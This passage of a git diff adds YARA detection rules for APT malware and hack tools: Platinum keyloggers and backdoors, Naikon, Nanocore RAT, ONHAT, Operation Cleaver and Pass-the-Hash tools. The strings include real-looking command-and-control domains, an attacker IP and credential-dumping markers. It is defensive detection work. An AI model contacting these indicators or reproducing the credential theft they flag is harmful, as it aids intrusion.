+	condition:
+		$frg1 and $frg2 and $frg3
+}
+
+rule Trojan_Win32_PlaKeylog_B : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Keylogger component"
+		original_sample_sha1 = "0096a3e0c97b85ca75164f48230ae530c94a2b77"
+		unpacked_sample_sha1 = "6a1412daaa9bdc553689537df0a004d44f8a45fd"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$hook = {C6 06 FF 46 C6 06 25}
+		$dasm_engine = {80 C9 10 88 0E 8A CA 80 E1 07 43 88 56 03 80 F9 05}
+
+	condition:
+		$hook and $dasm_engine
+}
+
+rule Trojan_Win32_Adupib : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Adupib SSL Backdoor"
+		original_sample_sha1 = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
+		unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "POLL_RATE"
+		$str2 = "OP_TIME(end hour)"
+		$str3 = "%d:TCP:*:Enabled"
+		$str4 = "%s[PwFF_cfg%d]"
+		$str5 = "Fake_GetDlgItemTextW: ***value***="
+
+	condition:
+		$str1 and $str2 and $str3 and $str4 and $str5
+}
+
+rule Trojan_Win32_PlaLsaLog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Loader / possible incomplete LSA Password Filter"
+		original_sample_sha1 = "fa087986697e4117c394c9a58cb9f316b2d9f7d8"
+		unpacked_sample_sha1 = "29cb81dbe491143b2f8b67beaeae6557d8944ab4"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {8A 1C 01 32 DA 88 1C 01 8B 74 24 0C 41 3B CE 7C EF 5B 5F C6 04 01 00 5E 81 C4 04 01 00 00 C3}
+		$str2 = "PasswordChangeNotify"
+
+	condition:
+		$str1 and $str2
+}
+
+rule Trojan_Win32_Plagon : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "48b89f61d58b57dba6a0ca857bce97bab636af65"
+		unpacked_sample_sha1 = "6dccf88d89ad7b8611b1bc2e9fb8baea41bdb65a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "VPLRXZHTU"
+		$str2 = {64 6F 67 32 6A 7E 6C}
+		$str3 = "Dqpqftk(Wou\"Isztk)"
+		$str4 = "StartThreadAtWinLogon"
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Plakelog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Raw-input based keylogger"
+		original_sample_sha1 = "3907a9e41df805f912f821a47031164b6636bd04"
+		unpacked_sample_sha1 = "960feeb15a0939ec0b53dcb6815adbf7ac1e7bb2"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "<0x02>" wide
+		$str2 = "[CTR-BRK]" wide
+		$str3 = "[/WIN]" wide
+		$str4 = {8A 16 8A 18 32 DA 46 88 18 8B 15 08 E6 42 00 40 41 3B CA 72 EB 5E 5B}
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Plainst : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "99c08d31af211a0e17f92dd312ec7ca2b9469ecb"
+		unpacked_sample_sha1 = "dcb6cf7cf7c8fdfc89656a042f81136bda354ba6"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {66 8B 14 4D 18 50 01 10 8B 45 08 66 33 14 70 46 66 89 54 77 FE 66 83 7C 77 FE 00 75 B7 8B 4D FC 89 41 08 8D 04 36 89 41 0C 89 79 04}
+		$str2 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+
+	condition:
+		$str1 and $str2
+}
+
+rule Trojan_Win32_Plagicom : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "99dcb148b053f4cef6df5fa1ec5d33971a58bd1e"
+		unpacked_sample_sha1 = "c1c950bc6a2ad67488e675da4dfc8916831239a7"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {C6 44 24 ?? 68 C6 44 24 ?? 4D C6 44 24 ?? 53 C6 44 24 ?? 56 C6 44 24 ??
+00}
+		$str2 = "OUEMM/EMM"
+		$str3 = {85 C9 7E 08 FE 0C 10 40 3B C1 7C F8 C3}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plaklog : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Hook-based keylogger"
+		original_sample_sha1 = "831a5a29d47ab85ee3216d4e75f18d93641a9819"
+		unpacked_sample_sha1 = "e18750207ddbd939975466a0e01bd84e75327dda"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "++[%s^^unknown^^%s]++"
+		$str2 = "vtfs43/emm"
+		$str3 = {33 C9 39 4C 24 08 7E 10 8B 44 24 04 03 C1 80 00 08 41 3B 4C 24 08 7C F0 C3}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plapiio : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "JPin backdoor"
+		original_sample_sha1 = "3119de80088c52bd8097394092847cd984606c88"
+		unpacked_sample_sha1 = "3acb8fe2a5eb3478b4553907a571b6614eb5455c"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "ServiceMain"
+		$str2 = "Startup"
+		$str3 = {C6 45 ?? 68 C6 45 ?? 4D C6 45 ?? 53 C6 45 ?? 56 C6 45 ?? 6D C6 45 ?? 6D}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plabit : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		sample_sha1 = "6d1169775a552230302131f9385135d385efd166"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+		$str2 = "GetInstanceW"
+		$str3 = {8B D0 83 E2 1F 8A 14 0A 30 14 30 40 3B 44 24 04 72 EE}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Placisc2 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "bf944eb70a382bd77ee5b47548ea9a4969de0527"
+		unpacked_sample_sha1 = "d807648ddecc4572c7b04405f496d25700e0be6e"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {76 16 8B D0 83 E2 07 8A 4C 14 24 8A 14 18 32 D1 88 14 18 40 3B C7 72 EA}
+		$str2 = "VPLRXZHTU"
+		$str3 = "%d) Command:%s"
+		$str4 = {0D 0A 2D 2D 2D 2D 2D 09 2D 2D 2D 2D 2D 2D 0D 0A}
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Placisc3 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "1b542dd0dacfcd4200879221709f5fa9683cdcda"
+		unpacked_sample_sha1 = "bbd4992ee3f3a3267732151636359cf94fb4575d"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {BA 6E 00 00 00 66 89 95 ?? ?? FF FF B8 73 00 00 00 66 89 85 ?? ?? FF FF B9 64 00 00 00 66 89 8D ?? ?? FF FF BA 65 00 00 00 66 89 95 ?? ?? FF FF B8 6C 00 00 00}
+		$str2 = "VPLRXZHTU"
+		$str3 = {8B 44 24 ?? 8A 04 01 41 32 C2 3B CF 7C F2 88 03}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Placisc4 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer for Dipsind variant"
+		original_sample_sha1 = "3d17828632e8ff1560f6094703ece5433bc69586"
+		unpacked_sample_sha1 = "2abb8e1e9cac24be474e4955c63108ff86d1a034"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = {8D 71 01 8B C6 99 BB 0A 00 00 00 F7 FB 0F BE D2 0F BE 04 39 2B C2 88 04 39 84 C0 74 0A}
+		$str2 = {6A 04 68 00 20 00 00 68 00 00 40 00 6A 00 FF D5}
+		$str3 = {C6 44 24 ?? 64 C6 44 24 ?? 6F C6 44 24 ?? 67 C6 44 24 ?? 32 C6 44 24 ?? 6A}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plakpers : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Injector / loader component"
+		original_sample_sha1 = "fa083d744d278c6f4865f095cfd2feabee558056"
+		unpacked_sample_sha1 = "3a678b5c9c46b5b87bfcb18306ed50fadfc6372e"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "MyFileMappingObject"
+		$str2 = "[%.3u]  %s  %s  %s [%s:" wide
+		$str3 = "%s\\{%s}\\%s" wide
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plainst2 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Zc tool"
+		original_sample_sha1 = "3f2ce812c38ff5ac3d813394291a5867e2cddcf2"
+		unpacked_sample_sha1 = "88ff852b1b8077ad5a19cc438afb2402462fbd1a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "Connected [%s:%d]..."
+		$str2 = "reuse possible: %c"
+		$str3 = "] => %d%%\x0a"
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plakpeer : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Zc tool v2"
+		original_sample_sha1 = "2155c20483528377b5e3fde004bb604198463d29"
+		unpacked_sample_sha1 = "dc991ef598825daabd9e70bac92c79154363bab2"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "@@E0020(%d)" wide
+		$str2 = /exit.{0,3}@exit.{0,3}new.{0,3}query.{0,3}rcz.{0,3}scz/ wide
+		$str3 = "---###---" wide
+		$str4 = "---@@@---" wide
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_naikon.yar b/yara-mikesxrs/Florian Roth/apt_naikon.yar
new file mode 100644
index 0000000..caea01f
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_naikon.yar	
@@ -0,0 +1,36 @@
+
+rule Backdoor_Naikon_APT_Sample1 {
+	meta:
+		description = "Detects backdoors related to the Naikon APT"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7vHyvh"
+		date = "2015-05-14"
+		hash = "d5716c80cba8554eb79eecfb4aa3d99faf0435a1833ec5ef51f528146c758eba"
+		hash = "f5ab8e49c0778fa208baad660fe4fa40fc8a114f5f71614afbd6dcc09625cb96"
+	strings:
+		$x0 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
+		$x1 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
+		$x2 = "greensky27.vicp.net" fullword ascii
+		$x3 = "\\tempvxd.vxd.dll" fullword wide
+		$x4 = "otna.vicp.net" fullword ascii
+		$x5 = "smithking19.gicp.net" fullword ascii
+		
+		$s1 = "User-Agent: webclient" fullword ascii
+		$s2 = "\\User.ini" fullword ascii
+		$s3 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/200" ascii
+		$s4 = "\\UserProfile.dll" fullword wide
+		$s5 = "Connection:Keep-Alive: %d" fullword ascii
+		$s6 = "Referer: http://%s:%d/" fullword ascii
+		$s7 = "%s %s %s %d %d %d " fullword ascii
+		$s8 = "%s--%s" fullword wide
+		$s9 = "Run File Success!" fullword wide
+		$s10 = "DRIVE_REMOTE" fullword wide
+		$s11 = "ProxyEnable" fullword wide
+		$s12 = "\\cmd.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and
+		(
+			1 of ($x*) or 7 of ($s*)
+		)
+}
+
diff --git a/yara-mikesxrs/Florian Roth/apt_nanocore_rat.yar b/yara-mikesxrs/Florian Roth/apt_nanocore_rat.yar
new file mode 100644
index 0000000..8f2bd59
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_nanocore_rat.yar	
@@ -0,0 +1,72 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-22
+	Identifier: Nanocore RAT
+*/
+
+rule Nanocore_RAT_Gen_1 {
+	meta:
+		description = "Detetcs the Nanocore RAT and similar malware"
+		author = "Florian Roth"
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		date = "2016-04-22"
+		score = 70
+		hash1 = "e707a7745e346c5df59b5aa4df084574ae7c204f4fb7f924c0586ae03b79bf06"
+	strings:
+		$x1 = "C:\\Users\\Logintech\\Dropbox\\Projects\\New folder\\Latest\\Benchmark\\Benchmark\\obj\\Release\\Benchmark.pdb" fullword ascii
+		$x2 = "RunPE1" fullword ascii
+		$x3 = "082B8C7D3F9105DC66A7E3267C9750CF43E9D325" fullword ascii
+		$x4 = "$374e0775-e893-4e72-806c-a8d880a49ae7" fullword ascii
+		$x5 = "Monitorinjection" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of them ) ) or ( 3 of them )
+}
+
+rule Nanocore_RAT_Gen_2 {
+	meta:
+		description = "Detetcs the Nanocore RAT"
+		author = "Florian Roth"
+		score = 100
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		date = "2016-04-22"
+		hash1 = "755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050"
+	strings:
+		$x1 = "NanoCore.ClientPluginHost" fullword ascii
+		$x2 = "IClientNetworkHost" fullword ascii
+		$x3 = "#=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them ) or ( all of them )
+}
+
+rule Nanocore_RAT_Sample_1 {
+	meta:
+		description = "Detetcs a certain Nanocore RAT sample"
+		author = "Florian Roth"
+		score = 75
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		date = "2016-04-22"
+		hash2 = "b7cfc7e9551b15319c068aae966f8a9ff563b522ed9b1b42d19c122778e018c8"
+	strings:
+		$x1 = "TbSiaEdJTf9m1uTnpjS.n9n9M7dZ7FH9JsBARgK" fullword wide
+		$x2 = "1EF0D55861681D4D208EC3070B720C21D885CB35" fullword ascii
+		$x3 = "popthatkitty.Resources.resources" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 900KB and ( 1 of ($x*) ) ) or ( all of them )
+}
+
+rule Nanocore_RAT_Sample_2 {
+	meta:
+		description = "Detetcs a certain Nanocore RAT sample"
+		author = "Florian Roth"
+		score = 75
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		date = "2016-04-22"
+		hash1 = "51142d1fb6c080b3b754a92e8f5826295f5da316ec72b480967cbd68432cede1"
+	strings:
+		$s1 = "U4tSOtmpM" fullword ascii
+		$s2 = ")U71UDAU_QU_YU_aU_iU_qU_yU_" fullword wide
+		$s3 = "Cy4tOtTmpMtTHVFOrR" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and all of ($s*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_onhat_proxy.yar b/yara-mikesxrs/Florian Roth/apt_onhat_proxy.yar
new file mode 100644
index 0000000..6d21a9f
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_onhat_proxy.yar	
@@ -0,0 +1,29 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-12
+	Identifier: ONHAT
+*/
+
+rule ONHAT_Proxy_Hacktool {
+	meta:
+		description = "Detects ONHAT Proxy - Htran like SOCKS hack tool used by Chinese APT groups"
+		author = "Florian Roth"
+		reference = "https://goo.gl/p32Ozf"
+		date = "2016-05-12"
+		score = 100
+		hash1 = "30b2de0a802a65b4db3a14593126301e6949c1249e68056158b2cc74798bac97"
+		hash2 = "94bda24559713c7b8be91368c5016fc7679121fea5d565d3d11b2bb5d5529340"
+		hash3 = "a26e75fec3b9f7d5a1c3d0ce1e89e4b0befb7a601da0c69a4cf96301921771dd"
+		hash4 = "c202e9d5b99f6137c7c07305c7314e55f52bae832d460c44efc8f2a90ff03615"
+		hash5 = "dded62ad85c0bdd68bcc96f88d8ba42d5ad0ef999911ebdea3f561a4491ebbc6"
+		hash6 = "f0954774c91603fc2595f0ba0727b9af4e80f6f9be7bb629e7fb6ba4309ed4ea"
+		hash7 = "f3906be01d51e2e1ae9b03cd09702b6e0794b9c9fd7dc04024f897e96bb13232"
+		hash8 = "f65ae9ccf988a06a152f27a4c0d7992100a2d9d23d80efe8d8c2a5c9bd78a3a7"
+	strings:
+		$s1 = "INVALID PARAMETERS. TYPE ONHAT.EXE -h FOR HELP INFORMATION." fullword ascii
+		$s2 = "[ONHAT] LISTENS (S, %d.%d.%d.%d, %d) ERROR." fullword ascii
+		$s3 = "[ONHAT] CONNECTS (T, %d.%d.%d.%d, %d.%d.%d.%d, %d) ERROR." fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 80KB and ( 1 of ($s*) ) ) or ( 2 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_op_cleaver.yar b/yara-mikesxrs/Florian Roth/apt_op_cleaver.yar
new file mode 100644
index 0000000..314cd12
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_op_cleaver.yar	
@@ -0,0 +1,329 @@
+/* Op Cleaver -------------------------------------------------------------- */
+
+rule OPCLEAVER_BackDoorLogger
+{
+	meta:
+		description = "Keylogger used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "BackDoorLogger"
+		$s2 = "zhuAddress"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_Jasus
+{
+	meta:
+		description = "ARP cache poisoner used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "pcap_dump_open"
+		$s2 = "Resolving IPs to poison..."
+		$s3 = "WARNNING: Gateway IP can not be found"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_LoggerModule
+{
+	meta:
+		description = "Keylogger used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "%s-%02d%02d%02d%02d%02d.r"
+		$s2 = "C:\\Users\\%s\\AppData\\Cookies\\"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_NetC
+{
+	meta:
+		description = "Net Crawler used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "NetC.exe" wide
+		$s2 = "Net Service"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_ShellCreator2
+{
+	meta:
+		description = "Shell Creator used by attackers in Operation Cleaver to create ASPX web shells"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "ShellCreator2.Properties"
+		$s2 = "set_IV"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_SmartCopy2
+{
+	meta:
+		description = "Malware or hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "SmartCopy2.Properties"
+		$s2 = "ZhuFrameWork"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_SynFlooder
+{
+	meta:
+		description = "Malware or hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "Unable to resolve [ %s ]. ErrorCode %d"
+		$s2 = "your target’s IP is : %s"
+		$s3 = "Raw TCP Socket Created successfully."
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_TinyZBot
+{
+	meta:
+		description = "Tiny Bot used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "NetScp" wide
+		$s2 = "TinyZBot.Properties.Resources.resources"
+		$s3 = "Aoao WaterMark"
+		$s4 = "Run_a_exe"
+		$s5 = "netscp.exe"
+		$s6 = "get_MainModule_WebReference_DefaultWS"
+		$s7 = "remove_CheckFileMD5Completed"
+		$s8 = "http://tempuri.org/"
+		$s9 = "Zhoupin_Cleaver"
+	condition:
+		(($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9)
+}
+
+rule OPCLEAVER_ZhoupinExploitCrew
+{
+	meta:
+		description = "Keywords used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "zhoupin exploit crew" nocase
+		$s2 = "zhopin exploit crew" nocase
+	condition:
+		1 of them
+}
+
+rule OPCLEAVER_antivirusdetector
+{
+	meta:
+		description = "Hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "getShadyProcess"
+		$s2 = "getSystemAntiviruses"
+		$s3 = "AntiVirusDetector"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_csext
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "COM+ System Extentions"
+		$s2 = "csext.exe"
+		$s3 = "COM_Extentions_bin"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_kagent
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "kill command is in last machine, going back"
+		$s2 = "message data length in B64: %d Bytes"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_mimikatzWrapper
+{
+	meta:
+		description = "Mimikatz Wrapper used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "mimikatzWrapper"
+		$s2 = "get_mimikatz"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_pvz_in
+{
+	meta:
+		description = "Parviz tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "LAST_TIME=00/00/0000:00:00PM$"
+		$s2 = "if %%ERRORLEVEL%% == 1 GOTO line"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_pvz_out
+{
+	meta:
+		description = "Parviz tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "Network Connectivity Module" wide
+		$s2 = "OSPPSVC" wide
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_wndTest
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "[Alt]" wide
+		$s2 = "<< %s >>:" wide
+		$s3 = "Content-Disposition: inline; comp=%s; account=%s; product=%d;"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhCat
+{
+	meta:
+		description = "Network tool used by Iranian hackers and used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "Mozilla/4.0 ( compatible; MSIE 7.0; AOL 8.0 )" ascii fullword
+		$s2 = "ABC ( A Big Company )" wide fullword
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhLookUp
+{
+	meta:
+		description = "Hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "zhLookUp.Properties"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhmimikatz
+{
+	meta:
+		description = "Mimikatz wrapper used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "MimikatzRunner"
+		$s2 = "zhmimikatz"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_Parviz_Developer
+{
+	meta:
+		description = "Parviz developer known from Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Florian Roth"
+		score = 70
+	strings:
+		$s1 = "Users\\parviz\\documents\\" nocase
+	condition:
+		$s1
+}
+
+rule OPCLEAVER_CCProxy_Config
+{
+	meta:
+		description = "CCProxy config known from Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Florian Roth"
+		score = 70
+	strings:
+		$s1 = "UserName=User-001" fullword ascii
+		$s2 = "Web=1" fullword ascii
+		$s3 = "Mail=1" fullword ascii
+		$s4 = "FTP=0" fullword ascii
+		$x1 = "IPAddressLow=78.109.194.114" fullword ascii
+	condition:
+		all of ($s*) or $x1
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_passthehashtoolkit.yar b/yara-mikesxrs/Florian Roth/apt_passthehashtoolkit.yar
new file mode 100644
index 0000000..628f1e4
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_passthehashtoolkit.yar	
@@ -0,0 +1,142 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-10
+	Identifier: Pass-the-Hash-Toolkit
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule whosthere_alt {
+	meta:
+		description = "Auto-generated rule - file whosthere-alt.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "9b4c3691872ca5adf6d312b04190c6e14dd9cbe10e94c0dd3ee874f82db897de"
+	strings:
+		$s0 = "WHOSTHERE-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '49.00' */
+		$s1 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s2 = "dump output to a file, -o filename" fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s3 = "This tool lists the active LSA logon sessions with NTLM credentials." fullword ascii /* PEStudio Blacklist: strings */ /* score: '29.00' */
+		$s4 = "Error: pth.dll is not in the current directory!." fullword ascii /* score: '24.00' */
+		$s5 = "the output format is: username:domain:lmhash:nthash" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s6 = ".\\pth.dll" fullword ascii /* score: '16.00' */
+		$s7 = "Cannot get LSASS.EXE PID!" fullword ascii /* score: '14.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 280KB and 2 of them
+}
+
+rule iam_alt_iam_alt {
+	meta:
+		description = "Auto-generated rule - file iam-alt.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
